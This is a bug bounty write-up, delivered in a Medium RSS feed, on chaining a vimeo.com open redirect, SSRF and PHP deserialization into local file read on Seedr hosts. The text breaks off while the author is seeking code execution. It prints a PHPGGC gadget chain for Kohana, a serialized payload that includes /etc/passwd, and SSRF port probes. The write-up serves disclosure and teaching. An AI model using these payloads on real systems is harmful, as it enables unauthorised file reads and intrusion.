<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by byq on Medium]]></title>
        <description><![CDATA[Stories by byq on Medium]]></description>
        <link>https://medium.com/@byq?source=rss-1ddece645815------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Vvz5n3C1pqQr8SdcfvLMLg.png</url>
            <title>Stories by byq on Medium</title>
            <link>https://medium.com/@byq?source=rss-1ddece645815------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 14:15:46 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@byq/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[From open redirect to RCE in one week]]></title>
            <link>https://medium.com/@byq/from-open-redirect-to-rce-in-one-week-66a7f73fd082?source=rss-1ddece645815------2</link>
            <guid isPermaLink="false">https://medium.com/p/66a7f73fd082</guid>
            <category><![CDATA[infosec-write-ups]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[php]]></category>
            <dc:creator><![CDATA[byq]]></dc:creator>
            <pubDate>Tue, 31 May 2022 16:30:32 GMT</pubDate>
            <atom:updated>2022-12-28T22:48:55.579Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, I will tell you a story of how I chained multiple security issues to achieve RCE on several hosts of the <em>Mail.Ru Group</em> (or <em>VK </em>now). For me, as a regular reader of bug bounty write-ups, it is always interesting to learn the train of hunter’s thoughts during uncommon vulnerability exploitation, so I tried to describe my process as detailed as possible. I hope, you will enjoy it.</p><h3>Intro</h3><p>I am a huge fan of the <a href="https://hackerone.com/mailru"><em>Mail.Ru Group</em> bug bounty program on HackerOne</a>. <em>VK, </em>which is a new name of <em>Mail.Ru group, </em>sometimes buys new companies, and the <em>VK </em>BBP is replenished with new assets, which gives a nice chance for the hackers to loot low-hanging fruits.</p><p>Based on my experience I can say that it can be very profitable to access something, which no one before you tried to hack. I subscribed to <em>VK </em>BBP to receive updates about new assets to be among the first who will get access to them.</p><p>During 2021 I was not very active at BB and didn’t closely follow updates in my favorite BBP and that is the reason why I missed the notification that <a href="https://seedr.ru/"><strong><em>Seedr</em></strong></a><em>, </em>which is a platform for video advertising, however now deprecated, was added to the assets.</p><p>My first meeting with <em>Seedr </em>happened in October 2021. Almost after a few minutes, I found several simple XSS, which I decided not to report because the chance of Duplicate was too high.</p><p>Presently you can observe several disclosed reports by other hunters and check how atypical bugs for modern applications were found there:</p><ul><li><a href="https://hackerone.com/reports/1348154">RCE в .api/nr/report/{id}/download</a></li><li><a href="https://hackerone.com/reports/1354335">SSRF + RCE через fastCGI в POST /api/nr/video</a></li><li><a href="https://hackerone.com/reports/1350671">XSS Stored on https://seedr.ru</a></li><li><a href="https://hackerone.com/reports/1360208">OS command injection on seedr.ru</a></li></ul><p>I thought that my train was gone, so I didn’t spend a lot of time on <em>Seedr </em>and continued my BB procrastination.</p><h3>Functionality that caught my attention</h3><p>I returned to<em> Seedr</em> during my December vacation in another country, where I was just with a backpack and laptop. After some time in such conditions BB hunger wakes up and there is a desire to find something interesting. To boost my confidence I usually take a fresh look at already familiar assets.</p><p>This time I spent more time on the recon: subdomain enumeration, port scanning, directory brute forcing, and so on. Luckily I found juicier things: GitLab, Grafana, several API hosts, cron files in the web directory, stack traces, and more. The more entry points you find — the higher chance to find something spicy. Unfortunately for me, none were worth reporting to BBP, but one functionality caught my attention.</p><p>In the HTML source code of the <em>https://api-stage.seedr.ru/player</em> page, I noticed the following comment:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*FsNfTwwYa-jdhbRZ" /></figure><pre>https://player.seedr.ru/video?vid=cpapXGq50UY&amp;post_id=57b6ceef64225d5b0f8b456c&amp;config=https%3A%2F%2Fseedr.com%2Fconfig%2F57975d1b64225d607e8b456e.json&amp;hosting=youtube</pre><p>I bet that you already want to modify the <strong>config </strong>GET parameter with your host to receive incoming HTTP connection, which I did. After several attempts, I didn’t receive any connections and continued to play with other parameters.</p><p>When I opened <em>https://player.seedr.ru/video?vid=cpapXGq50UY&amp;post_id=57b6ceef64225d5b0f8b456c&amp;config=https%3A%2F%2Fseedr.com%2Fconfig%2F57975d1b64225d607e8b456e.json&amp;hosting=youtube</em> in browser and observed response I noticed that Open Graph meta tags filled with some information about video like title, description, image, etc.:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MNbpKdZdssJy3CGt" /></figure><p>After some tests, I understood that <strong>post_id </strong>and <strong>config </strong>GET parameters have no significant effect on the response, so let’s simplify the URL to <em>https://player.seedr.ru/video?vid=cpapXGq50UY&amp;hosting=youtube</em>.</p><p>I assumed that it’s unlikely that the player only supports YouTube and changed <strong>hosting </strong>GET parameter to <em>coub </em>and <em>vimeo:</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vSGyBnTXzA7JuWoD" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4RRsPODrFdmKdCdI" /></figure><p>So, it seems like depending on the value of hosting GET parameter server performs an HTTP request with <strong>file_get_contents()</strong> to YouTube, Vimeo, or Coub API, downloads metadata about the video (<strong>vid </strong>GET parameter), parses it, and returns the player HTML page with this video and filled Open Graph meta tags.</p><p>vid GET parameter is an injection point, it’s possible to control the last part of the path in file_get_contents(). I could use path traversal (/../) and useful symbols (?, #, @) as well.</p><p>What is more interesting, in the case of Vimeo server makes a request to <em>http://vimeo.com/api/v2/video/VID.php</em>, you could notice it on the previous screenshot and it turned out that, when you use <strong>.php</strong> extension in the path, Vimeo returns not a JSON string, but serialized string!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/0*WFyuCQqoJQjXxzrX" /></figure><p>I assumed that after file_get_contents() the server uses <strong>unserialize()</strong> on the response from Vimeo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SDSp66MW4M4x56Do" /></figure><p>Wow, do I have unsafe deserialization here? It’s safe, as long as the response is under Vimeo’s control.</p><h3>Possible scenarios</h3><p>At that point I already saw three possible scenarios:</p><ol><li>Fuzzing of file_get_contents() to escape <em>vimeo.com</em> host, achieve blind SSRF and probably unsafe deserialization;</li><li>Find controlled response on <em>vimeo.com</em> -&gt; probably unsafe deserialization;</li><li>Find open redirect on <em>vimeo.com</em> -&gt; blind SSRF -&gt; probably unsafe deserialization.</li></ol><p>After hours of different modifications of the vid<strong> </strong>GET parameter and the fuzzing of file_get_contents() locally, I didn’t find anything useful and decided to share all information about this finding with several trusted mates.</p><p>Ok, the first scenario didn’t work, let’s move to the next one with a controlled response on <em>vimeo.com</em>.</p><p>Endpoint with the controlled response should meet the following requirements:</p><ul><li>200 OK HTTP status code;</li><li>Available for an unauthenticated user;</li><li>Controlled string should be at the beginning of the response body (PHP will successfully parse something like this {VALID_SER_STRING}TRASH);</li><li>Controlled string should support { },<em> </em>&quot;<em> </em>symbols required for storing serialized objects.</li></ul><p>Here are some of my attempts to find desired behavior on<em> vimeo.com:</em></p><ol><li><strong>injection </strong>is not a valid method.<br><em>Cons:</em> 404 Not Found HTTP status code, doesn’t support {},<em> </em>&quot; symbols.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vZ1Nj3QcypkJN37H" /></figure><p>2.<strong> injection </strong>is not a valid format.<br> <em>Cons:</em> 404 Not Found HTTP status code, doesn’t support {},<em> </em>&quot; symbols.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BbYZmj1edac0KZW6" /></figure><p>3. JS callback.<br><em>Cons:</em> /**/ at the beginning, doesn’t support {},<em> </em>&quot; symbols.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0VLcvvgxPQKxWBtM" /></figure><p>4. Export of chat of live broadcast:<br><em>Cons: </em>Date and name at the beginning, require authentication.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vq7xF4uEPkHLj3SF" /></figure><p>Unfortunately, the second scenario also didn’t work, so my last hope was to find an open redirect on <em>vimeo.com</em>. Previously I already saw a disclosed report on HackerOne from 2015 with an open redirect on <em>vimeo.com</em>: <a href="https://hackerone.com/reports/44157">https://hackerone.com/reports/44157</a>, so I assumed that there was some chance to find one more. Actually, I already looked for an open redirect during the discovery of controlled response but didn’t find anything useful.</p><h3>Open redirect</h3><p>All that time when I tried to exploit this vulnerability I kept in mind the <a href="https://infosecwriteups.com/vimeo-ssrf-with-code-execution-potential-68c774ba7c1e">article from Harsh Jaiswal</a> (<a href="https://twitter.com/rootxharsh">@rootxharsh</a>) about SSRF on <em>vimeo.com. </em>I distinctly remember that he chained several open redirects on <em>vimeo.com</em> to achieve the goal. This finding was in 2019, almost 3 years ago, so of course, at first, I thought that these open redirects were fixed. But it was probably my last chance, so I started digging in that way.</p><p>Thanks to low censoring of the screenshots it was possible to fingerprint the endpoint by GET parameters. Combining this, some googling, and reading Vimeo API docs I was able to guess what endpoint was used by Harsh in his chain. Anyway, it was still unclear what values I should provide.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*o9o2nLq5zstii725" /><figcaption>Screenshot from Harsh’s article</figcaption></figure><p>I very rarely ask someone for help while exploiting something, not counting several mates, but because I was at an impasse, <a href="https://twitter.com/rootxharsh">Harsh</a> was my last key.</p><p>After I contacted him and provided him with information that I had on that step, he shared with me a working open redirect link which was the same as I assumed but with proper values of GET parameters. From that link, I understood that it’s not a security issue on <em>vimeo.com, </em>but just a feature (really, it’s not a joke).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/701/0*AcSxUlWJYYC9y5GC" /></figure><p>Ok, now I have a working open redirect on <em>vimeo.com, </em>let’s try it at work:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SRMWKxA-A4XY47ba" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/769/1*i--oUWFn1c4xHfs2Q4oMnQ.png" /></figure><p>Yes, I finally got an HTTP hit on my host. Before jumping to deserialization I decided to play a little with SSRF:</p><ul><li><em>https://127.0.0.1</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*00A5V6ZE5uZ7akUH" /></figure><ul><li><em>https://127.0.0.1:22</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sI9XaaY_h_y_k0CF" /></figure><ul><li><em>http://127.0.0.1:25</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Qeb2LIqyKcpgDyiM" /></figure><p>Because the response from file_get_contents() goes directly to unserialize() I couldn’t achieve full SSRF, but at least I already had semi-blind SSRF with ability to perform the port scan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/0*TTbbOge03Ys5ogqJ" /></figure><p>After understanding that I used almost the whole potential of this SSRF I switched to the exploitation of unserialize().</p><h3>Deserialization</h3><p>Briefly, what is needed for successful exploitation of unsafe deserialization in PHP?</p><ul><li>̶C̶o̶n̶t̶r̶o̶l̶l̶e̶d̶ ̶i̶n̶p̶u̶t̶;̶</li><li>Class with magical method (<strong>__wakeup()</strong>, <strong>__destroy()</strong>, <strong>__toString()</strong>, etc.);</li><li>Useful for attacker functionality in magical method which can be abused for file manipulation, RCE, SQLi, etc.;</li><li>Class is loaded.</li></ul><p>As you can see, at that point I had only 1 of 4 requirements. I didn’t know anything about backend code on the host, so the only way to exploit deserialization is to blindly try all known gadget chains. For that purpose, I used the awesome tool <a href="https://github.com/ambionics/phpggc">PHPGGC</a> which is a library of PHP unserialize() payloads along with a tool to generate them. At the moment of exploitation, it has almost 90 available payloads. A big part of them is for different CMS and frameworks like WordPress, ThinkPHP, Typo3, Magento, Laravr, etc., which would be useless in my case. So I betted on commonly used libraries like Doctrine, Guzzle, Monolog and Swift Mailer.</p><p>I pre-generated all available payloads with PHPGGC, hosted them on a controlled server, and started brute-forcing. And… in all of the cases, I got the same error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qoN3AU3DWc_hnZt7" /></figure><blockquote><a href="https://stackoverflow.com/a/19511801">The error occurs because inside serialized string there is a reference to a class that hasn’t been included yet — so the PHP autoloading mechanism is triggered to load that class, and this fails for some reason.</a> © <a href="https://stackoverflow.com/users/1627406/sven">Sven</a></blockquote><p>At that point I have come to terms with the fact that this PHP script is very primitive and doesn’t include any additional classes, which I can use. Sad, but at least I tried. It often happens when you chain cool vulnerability, but face something that completely blocks you.</p><p>After summarizing all the findings I went to HackerOne and submitted a report with the name <a href="https://hackerone.com/reports/1430989"><em>[player.seedr.ru] Semi-blind SSRF</em></a> and for sure invited <a href="https://hackerone.com/bugdiscloseguys">Harsh Jaiswal</a> as a collaborator for his open redirect on <em>vimeo.com</em>.</p><p>Basically, this is where the story could have ended. But there was a feeling inside that kept me up at night telling me that it was not over yet and I should try something else. I guess you know how it feels.</p><h3>Kohana</h3><p>I don’t remember where exactly but a few days later by chance, my eye caught on something about use-after-free vulnerability in PHP unserialize(). As it happened the version of PHP on <em>player.seedr.ru</em> was outdated and of course, I started “researching” this area. During that “research” I got acquainted with the reports of <a href="https://twitter.com/chtg57">Taoguang Chen</a> who reported to PHP may be dozens of issues with unserialize(). Actually, vulnerabilities related to memory are still a dark area for me, but honestly, I tried to build some payloads. After some poking on the local environment, I returned to <em>player.seedr.ru</em>, hosted the payload on a controlled server, sent a request, and …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IID50Ey7OlrMV5R1" /></figure><p>“What? No space left on the device? Really, I just started? But, wait, this doesn’t look like a default error about space on the device.”</p><p>By the way, this error occurred probably because I sent too many requests with scanners for hidden directories and files on previous days.</p><pre>ErrorException [ 2 ]: file_put_contents(/var/www/seedr.backend.v2/application/logs/2021/12/20.php): failed to open stream: No space left on device ~ SYSPATH/classes/kohana/log/file.php [ 81 ]</pre><p>“Custom class for logging? Seems like this “primitive” PHP script nevertheless loads logging class, interesting. <strong>Kohana</strong>? I already saw this word during security testing of <em>Seedr</em>. But where?”</p><p>Thanks to Burp Suite Professional I quickly found the first mention of Kohana in Proxy history, opened that page, and observed a detailed error page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*DmjHfzdQKNMVUkRFNOWGTQ.png" /><figcaption><em>Vanilla Burp Suite Community can’t do this</em></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Zt8n_iVkGQE354ed" /><figcaption><em>Paradise for security tester</em></figcaption></figure><p>Here I will make a small digression to give you some information about <em>Seedr </em>and where <em>v2.nativeroll.tv</em> came from. I should note that I may be wrong but here are my thoughts I had at that moment.</p><p><em>Seedr </em>and <em>Nativeroll </em>are both platforms for Video advertising. <em>Seedr </em>had an old fashioned design, so I guess that it was created long before <em>Nativeroll</em>. Both platforms were bought by <em>Mail.Ru Group</em>, probably somehow merged and listed on HackerOne at the same scope. So, <em>v2.nativeroll.tv/api/</em>, <em>api.seedr.ru</em>, <em>api-stage.seedr.ru</em>, <em>player.seedr.ru</em> shared the same code base. Hope now it’s more clear.</p><p>Ok, let’s return to the beautiful error page. <em>Environment</em>, <em>Included files</em>, <em>Loaded extensions</em> — looks juicy. Here is what I observed after clicked on <em>Included files</em> link:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nqz7kdF68b5jOhqC" /></figure><p>There were almost 90 included files, which in fact were different classes loaded with something like autoload.php. Is Kohana some sort of CMS or framework? Yes, it is. After some googling I found GitHub repository <a href="https://github.com/koseven/kohana/">https://github.com/koseven/kohana/</a> which looks deprecated:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1ANtHeWFKu9hReDb" /></figure><p>Because <em>v2.nativeroll.ru</em> and <em>api.seed.ru</em> share the same code base, I successfully triggered Error exception on<em> api.seedr.ru</em> with the same payload (<em>https://api.seedr.ru/&lt;svg&gt;</em>) and got the same result.</p><p>For triggering Error exception exactly on <em>api.seedr.ru/video</em> (endpoint which I attacked), I took the result from <em>http://vimeo.com/api/v2/video/123459.php</em> and modified value of description attribute from string<em> </em>to array.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/0*r3lPU6YDPAAcvC1S" /></figure><pre>a:1:{i:0;a:23:{s:2:”id”;i:123456;s:5:”title”;s:30:”London Tornado — The aftermath”;s:11:”description”;<strong>a:1:{i:0;i:1337;}</strong>s:3:”url”;s:24:”https://vimeo.com/123456&quot;;s:11:&quot;upload_date&quot;;s:19:&quot;2006-12-14 06:53:32&quot;;s:15:”thumbnail_small”;s:111:”https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_100x75&quot;;s:16:&quot;thumbnail_medium&quot;;s:112:&quot;https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_200x150&quot;;s:15:&quot;thumbnail_large&quot;;s:108:&quot;https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_640&quot;;s:7:&quot;user_id&quot;;i:146861;s:9:&quot;user_name&quot;;s:11:&quot;wordtracker&quot;;s:8:&quot;user_url&quot;;s:29:&quot;https://vimeo.com/wordtracker&quot;;s:19:&quot;user_portrait_small&quot;;s:51:&quot;https://i.vimeocdn.com/portrait/defaults-blue_30x30&quot;;s:20:&quot;user_portrait_medium&quot;;s:51:&quot;https://i.vimeocdn.com/portrait/defaults-blue_75x75&quot;;s:19:&quot;user_portrait_large&quot;;s:53:&quot;https://i.vimeocdn.com/portrait/defaults-blue_100x100&quot;;s:18:&quot;user_portrait_huge&quot;;s:53:&quot;https://i.vimeocdn.com/portrait/defaults-blue_300x300&quot;;s:21:&quot;stats_number_of_likes&quot;;i:11;s:21:&quot;stats_number_of_plays&quot;;i:122560;s:24:&quot;stats_number_of_comments&quot;;i:12;s:8:&quot;duration&quot;;i:32;s:5:&quot;width&quot;;i:320;s:6:&quot;height&quot;;i:240;s:4:&quot;tags&quot;;s:0:&quot;&quot;;s:13:&quot;embed_privacy&quot;;s:8:&quot;anywhere&quot;;}}</pre><p>During script execution the htmlspecialchars() function expected a string, but got an array, which caused an Error exception with partly disclosed template and stack trace:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*se6X4lVo3aKoLr5R" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*B84aJ991dPsR-GIU" /></figure><p>There was a composer autoload script, as I thought. Among these included files I highlighted several, which can be useful during deserialization:</p><ul><li>Guzzle (<em>/var/www/sentry/vendor/guzzlehttp/…</em>)</li><li>Swift Mailer (<em>MODPATH/email/vendor/swiftmailer/…</em>)</li><li>Symfony (<em>/var/www/sentry/vendor/symfony/…</em>)</li><li>Mustache (<em>MODPATH/kostache/vendor/mustache/…</em>)</li><li>Sentry (<em>/var/www/sentry/vendor/sentry/…</em>)</li></ul><p>I knew that PHPGGC has some gadget chains for Guzzle, Swift Mailer and Symfony. After I built and tested the payloads on <em>api-stage.seedr.ru</em> I got new error. For example, an attempt with Guzzle payload returned the following error: FnStream should never be unserialized<em>.</em> Which indicated that the script used an already <a href="https://github.com/guzzle/psr7/blob/master/src/FnStream.php#L60">patched version</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/0*4IulKCyvBryD6Bgm" /></figure><p>Swift Mailer and Symfony didn’t work at all and analysis of Mustache and Sentry code on Github also didn’t bear any fruit, so third-party libraries wouldn’t help me. It was time to dive into Kohana.</p><p>Search for magical methods, like __wakeup()<em>, </em>__destruct()<em>, </em>__toString(), in Kohana repository was empty:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_qTSeiMOJsvaQx9O" /></figure><p>But this Kohana repository has a <em>system </em>directory which in fact is a dedicated <a href="https://github.com/kohana/core/tree/bdbe81afb5a09cee4269d2e2210a0d293265231a">repository Kohana Core</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SjrcVKdSbF-p-lho" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wTstXMB2xOlvMDAD" /></figure><p>Let’s try to search for magical methods in this repository. There were almost no results for __destruct()<em>, </em>__wakeup(), but results for __toString() were reassuring:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*VMUltckTWkhdy4L0" /></figure><p>I briefly overlooked the findings, but <a href="https://github.com/kohana/core/blob/bdbe81afb5a09cee4269d2e2210a0d293265231a/classes/Kohana/View.php"><em>classes/Kohana/View.php</em></a> and its <a href="https://github.com/kohana/core/blob/bdbe81afb5a09cee4269d2e2210a0d293265231a/classes/Kohana/View.php#L346">render()</a> function immediately caught my attention.</p><p>I should say I have some experience with backend development in the past, especially with PHP. I developed a few projects with Laravel and already knew about its MVC (Model-View-Controller) pattern. For rendering of Views Laravel uses an engine called Blade. Because such rendering engines usually load some templates (files) for rendering, I guessed that maybe somehow I can pass to function my own file or my own content.</p><p>Let’s take a look at the <strong>render()</strong> function closely. Function <strong>render()</strong> accepts 1 argument called <strong>$file</strong> and then calls function<strong> </strong><strong>capture():</strong></p><pre>public function render($file = NULL)<br>{<br>    if ($file !== NULL)<br>    {<br>        $this-&gt;set_filename($file);<br>    }</pre><pre>    if (empty($this-&gt;_file))<br>    {<br>        throw new View_Exception(&#39;You must set the file to use within your view before rendering&#39;);<br>    }</pre><pre>    // Combine local and global data and capture the output<br>    return <strong>View::capture($this-&gt;_file, $this-&gt;_data)</strong>;<br>}</pre><p>In my case function render() calls without argument and let me bypass set_filename() function which also checks existence of the $file in the views directory:</p><pre>public function set_filename($file)<br>{<br>    if (($path = <strong>Kohana::find_file(‘views’, $file))</strong> === FALSE)<br>    {<br>        throw new View_Exception(‘The requested view :file could not be found’, array(‘:file’ =&gt; $file,));<br> }</pre><pre>    // Store the file path locally<br>    $this-&gt;_file = $path;</pre><pre>    return $this;<br>}</pre><p>Thus I call capture() function with $this-&gt;_file variable:</p><pre>public function render($file = NULL)<br>{<br>    ...</pre><pre>    // Combine local and global data and capture the output<br>    return <strong>View::capture($this-&gt;_file, $this-&gt;_data)</strong>;<br>}</pre><p>As it says in the comment <strong>capture()</strong> function combines local and global data and captures the output. For example, you can render a template file for email and use username as a variable there.</p><pre>protected static function capture($kohana_view_filename, array $kohana_view_data)<br>{<br>    // Import the view variables to local namespace<br>    extract($kohana_view_data, EXTR_SKIP);</pre><pre>    if (View::$_global_data)<br>    {<br>        // Import the global view variables to local namespace<br>        extract(View::$_global_data, EXTR_SKIP | EXTR_REFS);<br>    }</pre><pre>    // Capture the view output<br>    ob_start();</pre><pre>    try<br>    {<br>        // Load the view within the current scope<br>        include $kohana_view_filename;<br>    }<br>    catch (Exception $e)<br>    {<br>        // Delete the output buffer<br>        ob_end_clean();</pre><pre>        // Re-throw the exception<br>        throw $e;<br>    }</pre><pre>    // Get the captured output and close the buffer<br>    return ob_get_clean();<br>}</pre><p><strong>capture()</strong> function accepts 2 arguments: <strong>$kohana_view_filename</strong> and <strong>$kohana_view_data<em>. </em></strong>Some of you probably already spotted the function that potentially can be abused during deserialization:</p><pre>...<br>try<br>{<br>    // Load the view within the current scope<br>    include $kohana_view_filename;<br>}<br>...</pre><p><strong>include()!</strong><em> </em>It already smells like LFI and RCE. But do I have control over <strong>$kohana_view_filename<em>?</em></strong></p><p>Yes, I do! Because $kohana_view_filename is $this-&gt;_file in my context and _file is an attribute of <em>View </em>class.</p><pre>class Kohana_View {<br>    // Array of global variables protected static <br>    $_global_data = array();<br>    ...<br>    // View filename <br>    protected $_file;  <br>    // Array of local variables <br>    protected $_data = array();<br>    ...<br>}</pre><p>At that moment I had all the elements for successful unsafe deserialization:</p><ul><li>I controlled the input;</li><li>I had a magical method <strong>__toString()</strong><em> </em>of <em>View </em>class with a useful function <strong>include()</strong>.</li><li>The class <em>View </em>was loaded.</li></ul><p>Bingo!</p><h3>Chaining all together</h3><p>After some time I created gadget and chain for PHPGGC locally, which later <a href="https://github.com/ambionics/phpggc/tree/master/gadgetchains/Kohana/FR/1">were committed and added</a> to main repository:</p><pre>&lt;?php</pre><pre>namespace GadgetChain\Kohana;</pre><pre>class FR1 extends \PHPGGC\GadgetChain\FileRead<br>{<br>    public static $version = ‘3.*’;<br>    public static $vector = ‘__toString’;<br>    public static $author = ‘byq’;<br>    public static $information = ‘include()’;</pre><pre>    public function generate(array $parameters)<br>    {<br>        return new \View($parameters[‘remote_path’]);<br>    }<br>}</pre><pre>&lt;?php</pre><pre>class View <br>{<br>    protected $_file;</pre><pre>    public function __construct($_file) {<br>        $this-&gt;_file = $_file;<br>    }<br>}</pre><p>Then I just ran PHPGGC and got following serialized object:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/382/0*qyNjDhRsVmK6dTt2" /></figure><p>Hosted payload on a controlled server, sent a request and …</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*IxazTbthZk7j-nKb" /></figure><p>Oookey, at least it was something new. But what I was hoping for? I used not __wakeup() or __destruct() methods which trigger at the moment of Object creation and destruction respectively, I used __toString(). As per <a href="https://www.php.net/manual/en/language.oop5.magic.php#object.tostring">PHP docs</a>:</p><pre>The __toString() method allows a class to decide how it will react when it is treated like a string. For example, what echo $obj; will print.</pre><p>So I somehow should output my <em>View </em>object. Actually it wasn’t difficult to understand that I should provide my <em>View </em>object as a value of title or description attribute, the trick which I made before with an array<em> </em>to trigger an Error exception. Here is what my payload looked like:</p><pre>a:1:{i:0;a:23:{s:2:”id”;i:123456;s:5:”title”;s:30:”London Tornado — The aftermath”;s:11:”description”;<strong>O:4:”View”:1:{s:8:”*_file”;s:11:”/etc/passwd”;}</strong>s:3:”url”;s:24:”https://vimeo.com/123456&quot;;s:11:&quot;upload_date&quot;;s:19:&quot;2006-12-14 06:53:32&quot;;s:15:”thumbnail_small”;s:111:”https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_100x75&quot;;s:16:&quot;thumbnail_medium&quot;;s:112:&quot;https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_200x150&quot;;s:15:&quot;thumbnail_large&quot;;s:108:&quot;https://i.vimeocdn.com/video/46783763-254c2bbf4211bd6657c59e96a682169c8e74fc56e96ebb4e0a2882b103cab878-d_640&quot;;s:7:&quot;user_id&quot;;i:146861;s:9:&quot;user_name&quot;;s:11:&quot;wordtracker&quot;;s:8:&quot;user_url&quot;;s:29:&quot;https://vimeo.com/wordtracker&quot;;s:19:&quot;user_portrait_small&quot;;s:51:&quot;https://i.vimeocdn.com/portrait/defaults-blue_30x30&quot;;s:20:&quot;user_portrait_medium&quot;;s:51:&quot;https://i.vimeocdn.com/portrait/defaults-blue_75x75&quot;;s:19:&quot;user_portrait_large&quot;;s:53:&quot;https://i.vimeocdn.com/portrait/defaults-blue_100x100&quot;;s:18:&quot;user_portrait_huge&quot;;s:53:&quot;https://i.vimeocdn.com/portrait/defaults-blue_300x300&quot;;s:21:&quot;stats_number_of_likes&quot;;i:11;s:21:&quot;stats_number_of_plays&quot;;i:122560;s:24:&quot;stats_number_of_comments&quot;;i:12;s:8:&quot;duration&quot;;i:32;s:5:&quot;width&quot;;i:320;s:6:&quot;height&quot;;i:240;s:4:&quot;tags&quot;;s:0:&quot;&quot;;s:13:&quot;embed_privacy&quot;;s:8:&quot;anywhere&quot;;}}</pre><p>Once again I updated payload on controlled server, sent request and finally:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/0*w76oIrYVSY8UwvBh" /></figure><p>I got the content of /etc/passwd inside og:description meta tag. Awesome, local file read is better than semi-blind SSRF, but it’s still not a RCE.</p><h3>Logs</h3><p>Local file inclusion is such a rare gem in modern web applications that I had to remember where I can store my RCE payload to include() it later. The most common techniques are:</p><ul><li>file upload (in my case application didn’t have such functionality);</li><li>logs (apache, nginx, mail, ssh, …);</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3e8hDouUzohsGoS0" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lm12I7PAdSDyhUkX" /></figure><ul><li><em>/proc/*/fd</em>, …;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TN89wta0YTO43yR_" /></figure><ul><li>session file;</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1-PHaH-CyIPIQpRl" /></figure><p>As you can understand I tried almost everything and nothing worked.</p><p>It’s time to take a few steps back, namely to the error related to “no space left on device”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nWE0f1SXbrO4qb6F" /></figure><p>From that error, I could extract a path to some log file:<em> </em>/application/logs/2021/12/20.php<em>.</em> After I tried to open <em>https://api.seedr.ru/application/logs/2021/12/20.php</em> in the browser I got the following error: <em>No direct script access. </em>Actually, almost every PHP file in Kohana framework has such a string in the beginning:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SfbU3i0tBAqrpZiw" /></figure><p>Seems like I can’t access log files with the .php extension directly from the browser. 